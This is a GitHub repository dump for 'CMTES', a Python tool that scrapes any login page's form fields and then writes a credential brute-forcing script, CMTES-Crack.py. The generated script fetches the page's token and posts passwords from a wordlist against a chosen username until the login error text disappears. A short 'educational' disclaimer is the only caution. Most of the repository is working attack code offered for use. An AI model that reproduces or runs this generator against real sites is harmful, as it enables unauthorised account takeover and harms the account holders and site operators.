├── screen
├── s.txt
├── 20230902_003929.jpg
├── 20230902_003943.jpg
├── Polish_۲۰۲۳۰۹۰۲_۰۰۵۰۲۲۲۳۰.jpg
├── Polish_۲۰۲۳۰۹۰۲_۰۰۵۸۰۴۰۱۹.jpg
├── Screenshot_20230901-220256_Chrome.jpg
└── Screenshot_20230901-221935_Chrome.jpg
├── README.md
└── CMTES.py
/screen/s.txt:
--------------------------------------------------------------------------------
1 | i
2 |
--------------------------------------------------------------------------------
/screen/20230902_003929.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/esfelurm/CMTES/HEAD/screen/20230902_003929.jpg
--------------------------------------------------------------------------------
/screen/20230902_003943.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/esfelurm/CMTES/HEAD/screen/20230902_003943.jpg
--------------------------------------------------------------------------------
/screen/Polish_۲۰۲۳۰۹۰۲_۰۰۵۰۲۲۲۳۰.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/esfelurm/CMTES/HEAD/screen/Polish_۲۰۲۳۰۹۰۲_۰۰۵۰۲۲۲۳۰.jpg
--------------------------------------------------------------------------------
/screen/Polish_۲۰۲۳۰۹۰۲_۰۰۵۸۰۴۰۱۹.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/esfelurm/CMTES/HEAD/screen/Polish_۲۰۲۳۰۹۰۲_۰۰۵۸۰۴۰۱۹.jpg
--------------------------------------------------------------------------------
/screen/Screenshot_20230901-220256_Chrome.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/esfelurm/CMTES/HEAD/screen/Screenshot_20230901-220256_Chrome.jpg
--------------------------------------------------------------------------------
/screen/Screenshot_20230901-221935_Chrome.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/esfelurm/CMTES/HEAD/screen/Screenshot_20230901-221935_Chrome.jpg
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | [](https://git.io/typing-svg)
5 |
6 | ## Warning 👇🏻
7 |
8 |
9 |
10 | ##### With this tool, you can write a cracker for each login page + cracker development
11 |
12 |
13 | ## Capabilities :
14 |
15 |
16 |
17 | - Find the tags used in the login page + number of usage
18 |
19 | - Find all site Variables
20 |
21 | - Finding site IDs and Variables
22 |
23 | - Finding suspicious Variables to make crackers 👇🏻
24 |
25 |
26 |
27 | ## Note :
28 |
29 | * `After making the crack tool, you can upgrade and customize it`
30 |
31 | * `I made it so that you can see all the labels so that you can determine for yourself how to make the cracker`
32 |
33 | ## Support :
34 |
35 | - Linux
36 | - Windows `There is a problem on Iranian sites`
37 | - Termux
38 |
39 | ## Installation
40 |
41 | ```
42 | git clone https://github.com/esfelurm/CMTES
43 | cd CMTES
44 | python CMTES.py
45 | ```
46 |
47 | ## Guide
48 |
49 |
When you give the page address First, the tags used in the source + number of consumption is showing
50 |
51 | In the next value Used and Variables & ID displays
52 |
53 | In the last amount It displays suspicious and necessary Variables for entry
54 |
55 | My Email
56 |
57 | My Channel
58 |
--------------------------------------------------------------------------------
/CMTES.py:
--------------------------------------------------------------------------------
1 | from time import sleep
2 | from sys import stdout,stdin
3 |
4 | rd, gn, lgn, yw, lrd, be, pe = '\033[00;31m', '\033[00;32m', '\033[01;32m', '\033[01;33m', '\033[01;31m', '\033[00;34m', '\033[01;35m'
5 | cn, k,g = '\033[00;36m', '\033[90m','\033[38;5;130m'
6 |
7 | def animate_write(text, color, duration):
8 | for char in text:
9 | stdout.write(color + char)
10 | stdout.flush()
11 | sleep(duration)
12 |
13 | try:
14 | from requests import get
15 | except:
16 | animate_write(f'"{lrd}[{rd}-{lrd}] {rd}Request" module is not installed, please install it with the command below 👇🏻\n\npip install requests', rd, 0.1)
17 | from bs4 import BeautifulSoup
18 | from platform import uname
19 | from os import system
20 |
21 | def animate_erase(text, color, duration):
22 | for _ in text:
23 | stdout.write('\b \b')
24 | stdout.flush()
25 | sleep(duration)
26 |
27 | def clear():
28 | if 'Windows' in uname():
29 | try:from colorama import init
30 | except:system("pip install colorama")
31 | system("cls")
32 | elif 'Windows' not in uname():
33 | system("clear")
34 |
35 | clear()
36 | try:
37 | def rotate_slash():
38 | for i in range(0,10):
39 | stdout.write('\r/ Finding variables')
40 | sleep(0.1)
41 | stdout.flush()
42 | stdout.write('\r- Finding variables')
43 | sleep(0.1)
44 | stdout.flush()
45 | stdout.write('\r\\ Finding variables')
46 | sleep(0.1)
47 | stdout.flush()
48 | stdout.write('\r| Finding variables')
49 | sleep(0.1)
50 | stdout.flush()
51 | except:
52 | pass
53 | animate_write(""" .__
54 | __ _ _______ _______ ____ |__| ____ ____
55 | \ \/ \/ /\__ \ \_ __ \ / \ | | / \ / ___\
56 | \ / / __ \_ | | \/| | \| || | \ / /_/ >
57 | \/\_/ (____ / |__| |___| /|__||___| / \___ /
58 | \/ \/ \/ /_____/
59 | ! Warning !
60 |
61 | """, lrd, 0.01)
62 | animate_write("[!] Any crime committed using this tool is the responsibility of the person himself!\n\n[!] This tool is educational, so please do not violate\n\n",yw,0.05)
63 | sleep(0.5)
64 | animate_write("My Channel Telegram : @esfelurm",lgn,0.08)
65 | sleep(0.5)
66 | animate_erase("My Channel Telegram : @esfelurm",lgn,0.05)
67 | animate_write("My Github : https://github.com/esfelurm",lgn,0.08)
68 | sleep(0.5)
69 | animate_erase("My Github : https://github.com/esfelurm",lgn,0.05)
70 | animate_write("Version CMTES : 0.0.1 => (free)",lgn,0.05)
71 | sleep(0.5)
72 | animate_erase("Version CMTES : 0.0.1 => (free)",lgn,0.05)
73 | sleep(3)
74 | clear()
75 |
76 |
77 | url = input(f"""{k}
78 | _ .-') .-') _ ('-. .-')
79 | ( '.( OO )_ ( OO) ) _( OO) ( OO ).
80 | .-----. ,--. ,--.)/ '._ (,------. (_)---\_)
81 | ' .--./ | `.' | |'--...__) | .---' / _ |
82 | | |('-. | | '--. .--' | | \ :` `.
83 | /_) |OO ) | |'.'| | | | (| '--. '..`''.)
84 | || |`-'| | | | | | | | .--' .-._) \
85 | (_' '--'\ | | | | | | | `---. \ /
86 | `-----' `--' `--' `--' `------' `-----'
87 | \n\n
88 | {cn}Version : 0.0.1\n
89 | {gn}Channel Telegram : {lgn}@Esfelurm {lrd}< {yw}|||| {lrd}> {lgn}Github : {lgn}https://github.com/esfelurm\n\n
90 | {lrd}[{lgn}?{lrd}] {gn}Enter the address of the login page : {cn}""")
91 |
92 | try:
93 | print (f'{yw}')
94 | rotate_slash()
95 | except KeyboardInterrupt:
96 | pass
97 | clear()
98 | animate_write("""
99 | .----. .-. .-. .-----. .----. .----.
100 | | }`-' } \/ { `-' '-' } |__} { {__-`
101 | | },-. | { } | } { } '__} .-._} }
102 | `----' `-' `-' `-' `----' `----'
103 | """,pe,0.01)
104 | content = get(url)
105 | soup = BeautifulSoup(content.text, "html.parser")
106 | tag_counts = {}
107 | tags = soup.find_all()
108 | for tag in tags:
109 | tag_name = tag.name
110 | if tag_name in tag_counts:
111 | tag_counts[tag_name] += 1
112 | else:
113 | tag_counts[tag_name] = 1
114 |
115 | soup2 = BeautifulSoup(content.content, "html.parser")
116 | name_elements = soup2.find_all(attrs={"name": True})
117 | id_elements = soup2.find_all(attrs={"id": True})
118 | input_tags = soup.find_all("input")
119 | print (f"\n\n{pe}+++++++++++++++++++++++++++++++++++++++++++++++++++++\n\n\n{gn} \n{yw}=================================================\n{gn}List Tags Html in source :\n\n")
120 | for tag_name, count in tag_counts.items():
121 | print(f" {lrd}[{yw}={lrd}] {g}Tag name : {k}{tag_name} {lgn}==> {g}Number of consumption : {k}{count}")
122 | print (f'{yw}=================================================')
123 | print (f"\n{gn}List Variables in source Html : \n\n")
124 | for element in name_elements:
125 | print(f' {lrd}[{gn}%{lrd}] {gn}Variable Name : {k}{element["name"]}')
126 | print (f'{yw}=================================================')
127 | print (f"\n{gn}List Variables ID in source Html : \n\n")
128 | for element in id_elements:
129 | print(f' {lrd}[{gn}~{lrd}] {g}variable ID : {k}{element["id"]}')
130 | print (f'{yw}=================================================')
131 |
132 | print (f"\n{gn}List Variables , from Login to account : \n\n")
133 | for input_tag in input_tags:
134 | print(f"\n {lrd}[{lgn}+{lrd}] {lgn}Variable name : {cn}{input_tag.get('name')}")
135 | try:
136 | print (f" {lrd}[{lgn}+{lrd}] {lgn}Variable content : {cn}{input_tag.get('value')}")
137 | print (f" {lrd}[{lgn}+{lrd}] {lgn}Code : {cn}{input_tag}")
138 | except:
139 | print (f"{lrd}[{rd}-{lrd}] {rd}Variable content : {lrd}None")
140 |
141 | VUsername = input(f"\n{yw}=================================================\n\n{pe}+++++++++++++++++++++++++++++++++++++++++++++++++++++\n\n{lrd}[{lgn}?{lrd}] {gn}Enter the variable that takes the value of the user : {yw}")
142 | VPassword = input(f"\n{lrd}[{lgn}?{lrd}] {gn}Enter the variable that takes the password : {yw}")
143 | token = input(f"\n{lrd}[{lgn}?{lrd}] {gn}Enter the variable that creates the token : {yw}")
144 | sub = input(f"\n{lrd}[{lgn}?{lrd}] {gn}Submit the variable that hits submit : {yw}")
145 | sub2 = input(f"\n{lrd}[{lgn}?{lrd}] {gn}Enter the text that is set for submit :{yw} ")
146 | Error = input(f"\n{lrd}[{lgn}?{lrd}] {gn}Please enter the wrong password on the login page, copy the error text and give it to me : {yw}")
147 | animate_write("[+] Making a cracker tool for you ...",lgn,0.05)
148 | with open("CMTES-Crack.py",'w') as file:
149 | file.write(f"""#The author of this program on Telegram channel : @esfelurm
150 | from bs4 import BeautifulSoup
151 | from requests import post,get
152 |
153 | passwd = input("Password List File : ")
154 | user = input("Target Username : ")
155 |
156 | info = BeautifulSoup(get('{url}').text, 'html.parser')
157 | token = info.find("input",{{"name":'{token}'}})['value']
158 | for password in open(passwd,'r').read().split():
159 | payload = {{'{token}':token,'{VUsername}':user,'{VPassword}':password}}
160 | req = post('{url}',data=payload).text
161 |
162 | if '{Error}' not in req:
163 | print (f"\033[01;32mTrue ! \033[01;33mPassword : \033[01;32m", password)
164 | exit()
165 |
166 | if '{Error}' in req:
167 | print (f"\033[01;31mFalse ! password : \033[01;31m",password)
168 |
169 | """)
170 | animate_erase("[+] Making a cracker tool for you ...",lgn,0.05)
171 | sleep(1)
172 | animate_write("[+] The construction is completed ! file : CMTES-Crack.py\n\nbe successful and victorious ! \nChannel : @Esfelurm",lgn,0.05)
173 |
174 |
175 | #END V 0.0.1 < ||| > @ESFElurm
--------------------------------------------------------------------------------